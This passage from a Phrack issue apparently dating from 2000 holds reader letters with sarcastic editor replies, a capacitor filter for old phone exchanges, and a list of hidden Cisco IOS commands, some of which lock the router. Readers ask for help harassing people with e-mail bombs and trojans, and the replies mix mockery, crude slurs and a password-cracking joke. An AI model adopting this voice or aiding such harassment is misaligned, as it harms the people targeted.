|0x1c|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[ (p55‑04). ]

> There is also another reason why W. Richard Stevens is

> featured here ‑‑ he was to be the prophile for Phrack 55.

This is just all so incredibly sad. What a loss.

Thank you for P55.

[ Agreed. Thankz for your support and condolences. ]

Yours,

Josh Birnbaum (noOrg).

|0x1d|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i think you should know that a well known hacker by the name of "the jolly rodger" (the one with the cook book), is extracting philes from the archives and putting them in his cook book with out giving the nessecery credit to the writers.

[ Does he include recipes for crayon sandwiches? Coz that'z renz's personal recipe and he should definitely give due credit. ]

he may say that the philes were writen by him,but the fact that they are written word for word, points to him as the cuprit.

HACK SAW

[ JIM DUGGAN? HEEEEYOH! ]

|0x1e|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I AM IGOR. I AM BRASIL. I NOW UNDERSTEND VERY WELL OF INGLAS,.

I NEED OF THE DRIVER FOR HAKCKERS, FOR ME INVASION THE COMPUTERS FROM THE PEOPLES. YOU UNDERSTEND??

[ I AM DISRESPECTFUL TO DIRT. CAN YOU SEE THAT I AM SERIOUS? ]

OBS:CORCEL OF TROIA.

IGOR

[ OUT OF MY WAY, ALL OF YOU. THIS IS NO PLACE FOR LOAFERS! JOIN ME OR DIE! CAN YOU DO ANY LESS? ]

|0x1f|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

My name is Thomas and am currently still in what you would call in America as senior high. I'm 15 years old and found this Phrack page while i was surfing on the net.

[ Well I see you've done your homework. Nice work Thomas! ]

I've always wanted to become involved in the art of hacking and i really don't know how to really start i've had my computer for about 2 and some years and catch on to things preety well and was wondering where to go from here.

[ Let'z plug that into the career calculator and see what she comes up with..... Ok.. Yes.. Let'z see here...

‑ 30.98% Help desk for regional fast food new hire processing office ‑ 30.56% Junior copier repair engineer

‑ 15.40% NO CAREER FOUND

‑ 12.45% Phone support engineer for the outdoor furniture industry ‑ 10.61% "Associate"

Hrm. Lookz bleak. ]

All i wanted to ask you if you can help me out by telling me how i can start out,i don't intend to reach a master level even though it is an aspiration of mine.

[ Whoa Tommy. Rome wasn't built in a day, and neither are superhackers. Start small, keep at it, and take your vitamins and say your prayers like a good little Hulkamaniac. ]

I'm currently using my brothers computer because it's a shit load faster than mine and would appreciate it if you could write back and maybe give me some good insight on how i can start out which probably would involve a lot of reading and learning more about programing.

[ My first bit of advice is for you to *definitely* steal your brother's computer. Survival of the fittest my boy! And besides, one of the many traits of a superhacker is how fast he can run crackerjack on passwd files (and yes this implies you should be running DOS ‑‑ Unix is a fad).

My second bit of advice is to read as much as possible. Anything By the late W. Richard Stevens. Check out http://www.securityfocus.com.

Keep up to date with current eventz in the security world. Try and make friends in the scene.

My third bit of advice is to give up at the first sign of adversity or difficulty. Life rewards cowards, Thomas. Never forget that (persistence pays off in the long run but laziness pays off right away). ]

PS:thankyou for taking the time out to read my message

[ The pleasure was all mine, Son. ]

Thomas

|0x20|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

my ingles Sux....

[ It'z ok, so doez my Spanish. ]

it will be that you source of the accountant of its page could me seder codi?

[ "SOMETHING FUNNY AND DISJOINTED IN SPANISH HERE" ]

Claudio

|0x21|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi Phrack Staff.

[ Hi Emil. ]

Before I start pleading with you i'd just like to say that you have the best E‑Zine on the Internet.

[ Thanks :). ]

I've followed your magazine for about 2 years now. But, as i searched your archive i've noticed that now you have almost no sections on things that go boom (Anarchy etc) anymore.

[ Our explosives consultant left for a higher paying job :(. ]

I have a vast knowledge of that subject and how to perform things like pyrotechnics safely. I do not know much about encoding (public key lock, i think?) and hacking. But as i said, i am ELITE in pyrotechnics.

[ Performing pyrotechnics safely? That's like getting drunk without loaded guns nearby or sex with your cousin.. It may seem like a fun idea, but at the end of the day it'z just kind of a letdown. ]

Soooo, please could I submit to Phrack on pyrotechnics and things that go boom.

[ Like an 808 trigger on a bass drum? ]

I might need some help on encoding, if its really necessery. I am prepared to give up time for Phrack and it would be great if i could submit.

[ Hrm. I don't think we have any openingz at the moment.. Tell you what you get me a resume, and I PROMISE to call you when something opens up. ]

Maddoc99

|0x22|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello, friends, I want to congratulate you and tell you gon on, your stuff is the best. I need some direccions of www where I can find information about phreaking in spanish, so I can read it more easily. Thanks you very much, continue with your job!!

romadryn

[ http://babelfish.altavista.digital.com/. You're on your own past that,

hombre. ]

|0x23|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I would just like to say that I have been reading phrack for about 2 years and the current issue has some really good technical articles, better than most others.

[ Well thank you very much! ]

Thanks for all the shit you put up with, you guys are really funny too, loopback is better than comedy central.

Anonymous

[ Awe, get out of here! Even better than `The Man Show`? (Which I'm certain will win an Emmy soon.) ]

|0x24|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hola .........disculpa que sea breve...pero tengo tanto sueo...y es tan tarde.....como las 4am me llamo gabriel y vivo en panama...aqui la gente ingora que es un hacker.... bueno deseo saber como puedo ser un hacker.... soy un prinipiante..... lo primero que deseo saber es como puedo hacer para conseguir alguna cccclave de acceso a internet dentro de panama..... si me pueden ayudar o no contestenme porfavor......descuiden yo soy una persona de confiar...soy muy leal ...lo juro..... bueno me voy a dormir..... choao y gracias anticipadamente........

Gabriel

[ Ok, let'z run this baby through a translator (http://translator.go.com):

hello........disculpa that is brief... but I have so much sue\xf1o... and is so late.....como 4am I am called Gabriel and alive in Panama... aqui the ingora people who are to hacker.... good desire to know like I can be to hacker.... I am a prinipiante..... first that desire to know is since I can make to obtain some cccclave of access to Internet within Panama..... if they can help me or contestenme porfavor good right of perpetual ownership does not.....descuiden I I am a person to trust... I am very loyal... it..... I am going away to early sleep..... choao and thanks........

...It's still unreadable... *sigh*. DON'T YOU PEOPLE GET SESAME STREET DOWN THERE!? Err... ?DON'T USTED CONSIGUE LA CALLE DEL SISAMO ABAJO ALLM!? ]

|0x25|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I was informed that certain clans have starcraft programs that enable users to purge others in a multi‑player game. Are you familiar with this and if so do you know where I can evaluate such programs.

Matt

[ Hey, I have an idea, it's called HARD WORK AND HONEST SPORTSMANSHIP. Look into it dork! ]

|0x26|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well i stumbled onto this web‑site, i was looking into alternative reading. Let me say this is by far the best. Dark Secrets of the underground is good, but you have collected all your issues in an easy to read format.

[ Yah, ASCII is pretty cool, huh? ]

Anyway i don't want to sound like some Asshole trying to kiss an ass,

[ Whut lovely imagery you've conjured up. ]

and if i did then Fuck you.

[ Hey eat a dick, count fagula. ]

When are you guys publishing more issues, 55 is coming soon i know...

[ Phrack 55? What year do you think it is? ]

but what of the rest.

[ Um... If issue "55" is coming 'soon' then logic dictates 'the rest' will arrive 'later than soon.' Good luck to you and don't chew gum when you walk. ]

It is some good shit, let me tell you. By the way where are you guys located? State that is.

[ It usually variez from statez of confusion to statez of depression... Sometimez though we find ourselvez in statez of high hilarity. Dependz on the time of the year, ya know? ]

Ash B<O>M

|0x27|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I have not the tiniest idea of who you are,

[ Now we have common ground! ]

but yet I ask for your help.

[ Now you've lost me. ]

I am interested in learning the fine art of obtaining information via cyberspace (hacking) sounds like a Jeffrey Dahmer hobby to me.

[ What in the Christ are you talking about? ]

Obviously you are not an idiot so this is why I ask this! Can someone or somebody

[ Someone or somebody? ]

recommend how to study the art of the Jeffrey Dahmer hobby (please do not give me a I.Q ‑1 reply)

[ You can't be serious. ]

I am serious!

[ Oh. ]

There is alot of talent out here and I want to find a mentor.

[ Ok. Let me get this straight. You're looking to me, Phrack Magazine editor and fun‑loving happy‑fun guy route, to find you a gay‑massmurdering‑cannibal mentor? ]

Thank you, and I think the KKK are a bunch of f...... schnooks!!!!!!!!!!!!!!!

[ Of course, but eating people, that's ok rite? ]

P.S‑ In no way am I associated with any law enforcement agency

[ Gosh, ya think? ]

|0x28|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I need help digging up as much information on a guy who is having an affair with the wife of a friend of mine ‑ it's tearing apart his 18 year marriage and screwing up his two young kids.

[ Can't you just ask her? ]

I'd like someone to tell me where and/or how to get massive info and then how to make life "interesting" for this marriage wrecker ‑

[ Well, have you tried taking him on a "mystery vacation"? You know, get all the boyz together, jump in the car, and not tell him where you're going (make it real exotic like Yemen or Oman)! ]

However you guys do that neat stuff (e‑mail bombs, trojans, etc)

[ Oh! *That* neat stuff. We just subcontract it all out. ]

I would appreciate ANYTHING you can do for me to help my friend.

[ http://www.privat.katedral.se/~nv96olli/java.htm ]

Rich

|0x29|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To: The Sultan of Love,

Your humor leaves me jaw agape, sides splitting and a newfound demand for Depends Brand Adult Diapers.

[ Grody. ]

The world needs more of you.

[ Well, I'm kinda partial to instead of *more* of me (ala multiplicity) I think what the World needz, iz a GIANT me (ala The Amazing Colossal Man). I dunno, I think maybe a 50 or 60 foot me would get the job done, and get it done right. ]

I didn't see too many letters in Phrack 55 from teenage chicks offering you full juristiction of their bodies as tokens of their appreciation for your overall kickassedness.

[ Yeah I noticed that too... I'm hoping Phrack will be banned as some sort of intense aphrodisiac. I'm putting perfume samples in this one and a section entitle "Route's people". If this doesn't do it, I throw up my hands ]

Maybe you have a policy of keeping those letters out of the sight of the general public for some reason that evades me. Policy, or not, please let me take this opportunity to say, baby, if you want it, it's all in me.

[ Ahem. Phrack Readership. I would just like to take this opportunity to say: HOOOOOOLY SHIT! ONLY THREE AND HALF YEARZ, NINE ISSUEZ AND IT FINALLY WORKED! I hope you can hang 'cause baby, I gotz th' stamina! ]

Shagging Men For Their Brain Power Since 1996,

Suzy McAssmunch

[ Assmunch as I want? ]

|0x2a|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I need some help and can't trust friends anymore. Refs would be great. My brother told my landlord some lies and now I'm getting evicted. I have to stay with some relatives now but my fax is out of paper and is a special model. I can't take this trip without the right paper. Can you help?

anonymous

[ *speechless*

(someone off in the background): "Hey route... What's wrong? Dumb got your tounge?" ]

|0x2b|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I d like some info about video gambling machines..

[ Well, they're probably some of the worst odds you'll get. ]

could you tell me where I could find some? thanx!

[ Las Vegas, NV, Tahoe, NV, Any Indian reservation, Atlantic City, NJ ]

Anomymous

|0x2c|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi I'm new to this hacking an not even sure u are the right person to ask but I was chatting to someone in a chatroom recently and we got into an argument about something or other...next thing I know my pc crashes an refuses to re‑boot ..closer inspection reveals the motherboard has fried....I can only assume the aformentiond person was the cause of this...so how the hell did they do it???....is there anyway I can guard against this kind of attack??..

Yours worried,

Ben

[ Consider yourself lucky you got off that easy. This one time I pissed off an online doctor in a chat room. At first I only had a mild fever, but the next thing I know he's having me do my own amputation... Two legs and an arm into it, I realize that maybe he's hacking me! But by then it was too late! ]

|0x2d|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello,

I have this person who keeps pissing me off and going out of his/her way to do it every time I go into various chat rooms. I could change my screen name I suppose, but I'm not going to do that. I will not give in.

[ Don't do it man! Stand your ground... The line must be drawn HERE! ]

Once an AOL tech told me that there is a way to bump people like that off line, but of course he could not, would not, tell me how. I can't say as I blame him. However since you guys are into things like this

[ I try to keep myself thoroughly insulated from America Online (not to be confused with AntiOnline ‑‑ they are a whole different kind of dumb). To do this I keep what I call "the three layers of AOL abstraction". That means I don't use America Online, my mom doesn't use America Online, and not even my grandma uses America Online. I'm not 'into things like this'. ]

could you PLEASE tell me how I can go about doing such a thing... should this person start up with me again. I had to put up with bullies in school. I refuse to be pushed around in the cyber world.

[ Pent‑up passive‑aggressive dork alert! Whoop! Whoop! ]

And NO i do not want to tell AOL...that would make me out to be a tattle tell, and that I'm not.

[ Whoop! Whoop! Boy, you're really lighting up this alarm here! ]

I would appreciate would make me out to be a tattle tell, and that I'm not.

[ Yah, I heard you the first time. ]

I would appreciate any help that you could give me.

Thank you;

HDAWG

[ Well DAWG, it seems to me like you have some serious childhood issues. The only advice I can offer you now is to get lots of therapy, or maybe a swift kick to the nuts for being such a wussy. ]

|0x2e|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I'm not sure if I am writting to the right person or if yall can even help. I was wondering if you can tell me how i can clear/clean up my credit report.

Anonymous

[ Shure. PAY YOUR FUCKING BILLS ON TIME! ]

|0x2f|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fuck you and your ignorant attempts at killing me. As darkness falls upon us it is time for revenge. Lock up your windows and doors...I'm coming. I who am Indigo. You will know only my name and not my face, for I will come as a theif in the night. Beware for tonight is the night of reconcile, beware!

Your Foe;

Indigo

[ The night I received this letter I had a turkey pot pie for dinner. I then watched some TV. Fairly boring evening except when I went down to the dryer to get my laundry, I noticed a sock was missing... Coincidence... OR NIGHT‑THIEF! ]

|0x30|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In this message you will not see any "welcomes", "good words about you", and "asks". But you will see "TRUTH" and only this!

[ How about a "you're good at puzzles", or a "route is the best colorer in his ward ‑ he alwayz stays in the lines". ]

You think that you are good because you are hackers?

[ No, I think I'm good becuase of my daily affirmations. And you can't take those away from me. ]

Well really you are nothing than lamers who asks stupid questions.

[ Hey! That'z not nice! I've worked hard, and God Fucking Damn you, I'm good enough, smart enough, and people fucking like me! ]

Yes I know that some budies is very stupid, I understand this.

[ NOT MY BUDDIES MAN! They're the best buddies a guy could ask for! I'm talking about you Stan! And you Gilgamesh! And of course you Little Omar! ]

But I don't understand why you flame everybody who post to you.

[ Ya know, it just kinda workz out that way. You think I *plan* these things? ]

There is some newbies who's really intelligent, and this is important to give him info about what they want. Is this so hard?

In the answers like: "Will you help me? [ In all likelihood, no.]"

[ PAHAHAHAHAHAHAH. Man. That was me? Shit I'm good! ]

you proof that you don't know answer!!!

[ Man I can't fool you! I couldn't fool you on the foolingest day of my life even if I had an electrified fooling machine (which I do have by the way). ]

You magazine is one the worst of all I've seen.

[ Have you seen "Highlights"? (*shutter*) ]

Why do you think you don't have cash from write this magz,

[ Maybe because Phrack Magazine iz, waz, and alwayz will be FREE OF CHARGE. ]

I'm sure that if 2600 may be publishing you mag surelly can be published too? Answer: You don't publish it because nobody will buy him.

[ Question: Who am I selling? Is he ugly and dumb? Is it Gary Glitter? ]

"Blessed is he who expects nothing, for he shall not be disappointed."

[ "Blah Blah Blah". ]

Anonymous english as second (or possibly third) language guy

|0x31|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hello,

at the risk of being flamed in your next issue i felt compelled to write.

[ UH‑OH! ]

reading your latest issue's loopback i noticed that several innocent inquiries were being blasted by the editor.

[ You noticed that eh? How delightfully intuitive! ]

While reading these was funny,

[ YES! ]

i felt a bit disheartened.

[ DAMN. ]

Isn't it a major tenant of hacking to promote freedom of information?

[ Christ. I am so sick of people hiding behind the /tenet/ of "Information wants to be free, man!". Mainly because 99% of the people who bleat this platitude like it'z going out of style really don't understand what they're saying. I will say good day to you Fat Tony. ]

Responding to inquiries about "how do i hack?" with "piss off peon" or whatever witty equivalent your publication provided,

[ Geeze. I like to think I'm a hair more clever than `piss off peon`... ]

i felt was in direct contrast to the hacker ethic. how is the tradition ever going to continue if no one is willing to nurture the hackers of the future?

[ Nurture? Shure. Change diapers? No. ]

is Phrack's message that accomplished hackers should horde their skills and knowledge to the detriment of future hackers? Maybe you should provide newbies with avenues to learning instead of flaming them with "i'm cooler than thou" messages. perhaps part of the hacker communities bad image is their aloofness, their secrecy, and their condescention. Chew on that Phrack.

[ I'd answer that but all I want to say is: "Job Security". ]

nitefall

|0x32|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Great e‑zine, has a lot of good stuff in it.

[ Well thankz govern'r! ]

Outta be required reading.

[ I'm working on a proposal with the Board of Education out here to get Phrack in every classroom. I *think* it's going to replace the old issues of '3‑2‑1 Contact' in the library. I've got a similar bid in with PBS to get a Phrack T.V. show to replace old episodes of K.I.D.S. Incorporated. ]

Just a couple of stupid questions: how does one learn about network security and protecting a LAN?

[ Beatz the hell out of me. School? ]

More importantly, what's the best way to go about learning how to compromise them?

[ Do the exact opposite of what you learned about protecting them. ]

Mike

|0x33|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

It's been a LOOONG time since I parsed your 'zine. It sure isn't the same, but it's as good in it's own right. Unfortunately, since I was sipping my coffee while perusing the Loopback file, I must submit the following invoice:

1 Roll Bounty Paper Towels .99

1 Sample Bottle Windex .99

10 Minutes cleaning screen and

draining keyboard .99 Subtotal 2.97

Credit for Causing Extreme laughter

‑2.99

‑‑‑‑

Total ‑.02

..Just thought I'd send my own two‑cents'

Great stuff. Nine months is NOT too long to wait.

thanks.

m

[ Cool thankz man! I'll add those two cents to our operating costs fund! I think that'll give us enough take this baby commercial! ]

Phrack Line Noise

‑ P H R A C K M A G A Z I N E ‑

Volume 0xa Issue 0x38

05.01.2000

0x03[0x10]

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ L I N E N O I S E ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ phrack staff ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

Phrack Linenoise is a hodge‑podge. Part virtual Mr. Bobo'z table, part Leftorium; Linenoise is where articles that can't quit make it end up. Some of the various reasons things end up here:

‑ Addendum and Errata

There is a section in Linenoise specifically for corrections and additions to previous articles. Feedback to articles, however, is alwayz placed in the savory loopback section.

‑ Too short

Articles that are just a bit too short to stand on their own, but still contain worthwhile information can end up here.

‑ Niche audience

The articles that cater to a narrow group of readerz might also end up here.

|0x01|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑ data connections on old electromechanical exchanges ‑‑‑‑‑‑‑‑‑‑‑‑|

|TOKATA & Vladi <lv_tokata@yahoo.com>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In many poor countries (such as Bulgaria) there are still a lot of old electromechanical switches ‑ SxS (step‑by‑step), Panel and Crossbar. Maybe some Phrack readers from these countries download the Phrack releases through these switches. So, I think it is useless to explain the quality of such lines. They are damned noisy, mf!

So, with the help of a friend, we developed a new device, a simple one at that, which makes a better data connection. It increases the quality some 30 ‑ 40%! We have successfully tested it with many modems (from 2400bps to 33600bps): DataLink, SunShine, UMC, Rockwell, US Robotics... It _will_ work!

Notes:

‑ This device *only* works on 60V switches. AFAIK, those are the only SxS switches around.

‑ List of exchanges (used in Bulgaria), on which this device works:

SxS ‑‑> A‑29 (Siemens), F‑61 (maybe Siemens too), ATS‑54 (Russian) Xbar ‑‑> KRS 103/203 (bulgarian), ATSK ‑ 50 (russian)

For Russian people it's quite easy, because we use almost the exact same exchanges (such as ATS‑54 and ATSK‑50).

‑ The device DON'T work on these exchanges:

‑ ESK ‑ 10000E (also known as Crosspoint, made by Siemens)

‑ "Kvant" (Russian)

‑ EWSD, AXE, MT, ESS (and all the digital exchanges)

The schematic is very simple:

2

__o

/ S

o‑‑‑‑/ o‑‑‑‑‑|

| 1 |

o‑‑‑‑|‑‑‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑‑o

| |

| |

o‑‑‑‑‑‑‑‑‑‑‑| |‑‑‑‑‑‑‑‑‑‑‑‑‑o

C

K ‑‑>

C ‑‑> capacitor. Use a 1uF one (maximum)! You can put a smaller one, but _NOT_ put more than 1uF!!!

S ‑‑> DPST switch. "1" is position 1, and "2" is position 2.

DPST

On the schematic you _must_ :‑) see the two phone wires. They have the capacitor and the switched connected to them.

So, what is the use of the DPST switch?

When you begin to dial the switch must be moved to (1). That will shunt the capacitor, otherwise you would not be able to dial through the phone line. When the connection is estabilished ‑ move the switch to (2) in order to join the capacitor. Gotit?

Theory of operation

All the noise on the old switches springs up from the electromechanical switching process. Our device (the capacitor) is used as a filter of low frequencies (including nasty brooms, which really fuck up data connections).

‑ TOKATA & Vladi <lv_tokata@yahoo.com>

|0x02|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ Undocumented IOS Commands ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑|

|krnl‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Introduction

Here are some commands in cisco systems' Internetworking Operating System which are hidden from users at any privilege level. Some are informative, while others are rather mundane. Some will even lock the router if invoked incorrectly. This list is a subset of all hidden commands. Descriptions of commands are included where possible. All were tested on a box running 12.0‑6S.

exec commands

@clear profile (clear cpu profiling)

@debug ip ospf monitor

@debug oir (debug online insertion and removal)

@debug par mo (debug parser modes)

@debug sanity (debug buffer pool sanity)

@debug subsys (debug discrete subsystems)

@debug buffer (additional buffer debugging)

@gdb kernel

@gdb examine pid

@gdb debug pid

@if‑console [<slot>] [console|debug]

@profile <start> <stop> <granularity>.

@sh chunk (show chunks of memory allocated to processes)

@sh chunk summ (show chunk allocation summary)

@sh idb (shows interface database)

@sh in stats (gives you switching path output per interface)

@sh ip ospf maxage‑list

@sh ip ospf delete‑list

@sh ip ospf statistic

@sh ip ospf bad‑checksum

@sh ip ospf event

@sh isis timers

@sh isis tree IS‑IS link state database AVL tree

@sh isis tree level‑2

@sh isis private

@sh profile [detail|terse] (show cpu profiling)

@sh parser modes (shows current process access‑tree.)

@sh parser unresolv (shows unresolved links in access‑tree)

@sh list

@sh list none

@sh region (shows image layout)

@sh region <address> (shows image layout at given address)

@sh timers (show timers for timer command in config mode)

@sh int <INT> switching (shows switching path information for the interface) @sh proc all‑events (shows all process events)

@sh sum (show current stored image checksum)

@test transmit (test the transmission of L2 frames)

configuration mode commands

@boot system rom

@boot module

@exception‑slave dump X.X.X.X

@exception‑slave protocol tftp

@exception‑slave corefile

@ip slow‑convergence

@ip tftp boot‑interface

@loopback diag

@loopback dec (at dec chip)

@loopback test

@loopback micro‑linear

@loopback motorola

@scheduler max‑task‑time 200 (last val in milliseconds)

@scheduler heapcheck process (memory validation.. after proc) @scheduler heapcheck poll (memory valid after some poll) @scheduler run‑degraded (perhaps in a failure mode?)

@service internal

@service slave‑coredump

@service log backtrace (provides traceback with every logging instance) @tunnel carry‑security

in bgp config:

@neighbor ctalkb‑out filter‑as 100 d

% filter‑as is an obsolete subcommand, use filter‑list instead

in router isis config:

@partition‑avoidance

XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

@clear profile

clears out the current CPU profiling configuration.

@debug buffer

as with buffer sanity checking, no debugging information on lightly loaded box.

ctalkb#debug buffer

Additional buffer checking debugging is on

@debug ip ospf monitor

provides information on the status of the ospf process in the debugging logs.

ctalkb#debug ip ospf monitor

OSPF spf monitoring debugging is on

2w3d: OSPF: Syncing Routing table with OSPF Database

‑Traceback= 6064B628 603B6D2C 603B6D18

2w3d: OSPF: Completed Syncing and runtime is 4 msec

‑Traceback= 6064B65C 603B6D2C 603B6D18

2w3d: OSPF: Start redist‑scanning

‑Traceback= 6064AC20 6062B430 603B6D2C 603B6D18

2w3d: OSPF: Scan for both redistribution and translation ‑Traceback= 6064AC60 6062B430 603B6D2C 603B6D18

2w3d: OSPF: End scanning, Elapsed time 0ms

‑Traceback= 6064B13C 6062B430 603B6D2C 603B6D18

2w3d: OSPF: Syncing Routing table with OSPF Database

‑Traceback= 6064B628 603B6D2C 603B6D18

ctalkb#debug oir

Online Insertion and Removal debugging is on

2w3d: OIR: Process woke, 'Event', stall=2, usec=0xB6835B36 ‑Traceback= 6040967C 603B6D2C 603B6D18

2w3d: OIR: Shutdown pulled interface for Serial5/0

‑Traceback= 600E30C4 60409204 604096C8 603B6D2C 603B6D18

2w3d: %OIR‑6‑REMCARD: Card removed from slot 5, interfaces disabled ‑Traceback= 60409748 603B6D2C 603B6D18

2w3d: OIR: Remove hwidbs for slot 5

‑Traceback= 60409368 60409750 603B6D2C 603B6D18

2w3d: OIR: Process woke, 'Event(max not running)', stall=3, usec=0xD0115C9E

‑Traceback= 6040967C 603B6D2C 603B6D18

2w3d: OIR: Process woke, 'Timer(max running)', stall=3, usec=0xDDBB56D6 ‑Traceback= 6040967C 603B6D2C 603B6D18

2w3d: OIR: (Re)Init card 5, retry_count=3

‑Traceback= 60409894 603B6D2C 603B6D18

2w3d: %OIR‑6‑INSCARD: Card inserted in slot 5, interfaces administratively shut down

‑Traceback= 604098BC 603B6D2C 603B6D18

@debug par mo (debug parser modes)

this is used to show what is happening at the parser at specific instances. it will show you a basic walkthrough of the lookups needed to process the cli commands

ctalkb#debug par mo

Parser mode debugging is on

00:54:40: Look up of parser mode 'controller' succeeded

00:54:40: Look up of parser mode 'route‑map' succeeded

@debug sanity

couldn't get any diagnostic information on this. router is not heavily loaded so there isn't much buffer churn and burn to contend with.

ctalkb#debug sanity

Buffer pool sanity debugging is on

@debug subsys

subsystem information indicates a code segment and its version. when i had debugging on, i tried reloading the system microcode. this did not cause any interesting debugging information.

ctalkb#debug sub

Subsystem debugging is on

@debug oir

extended online insertion and removal debugging information.

@gdb kernel

i couldn't get this to do much besides render the router inoperable. there seems to be no interface comparable to the stock gnu debugger. perhaps there are additional parameters that i am missing. this applies to all of the debugger subcommands found.

ctalkb#gdb ker

Kernel GDB allowed on console terminal only

ctalkb#gdb ex 91

||||(lock up)

@gdb debug pid

ctalkb#

ctalkb#gdb debug 91

Can't debug your own process

ctalkb#

@if‑console [<slot>] [console|debug]

no output since i don't have a viper router or 12XXX. however, this is one of the most interesting hidden commands available for the cisco. it allows you to get on a card console (i.e. per individual slot instead of per individual chassis) and print out extended diagnostic and debugging information on the specific card. you enter the card in unpriv mode and need to enable before seeing all of the commands.

@profile <start> <stop> <granularity>.

you can setup cpu profiling in the exec mode with the

profile command. process profiling allows you to find which segment of code is perhaps hogging the CPU.. what you really need to get use out of this feature is a symbol table so you can pull the location of the appropriate segment of code. the segment is defined by the start and stop values given to the profile command. the granularity specifier allows you to get down to single instruction level.

the cpu has its own internal timer that is incremented regardless of whether the desired segment of code is executed. when the desired segment of code is executed, a per‑profile counter is incremented. comparison of this counter with the overall system timer allows you to get some handle on how much of the cpu the specific segment is using.

ctalkb#profile ?

task

start

stop

hogs

<0‑FFFFFFFF>

@show chunk (show chunks of memory allocated to processes)

there is the traditional malloc/free memory management in place

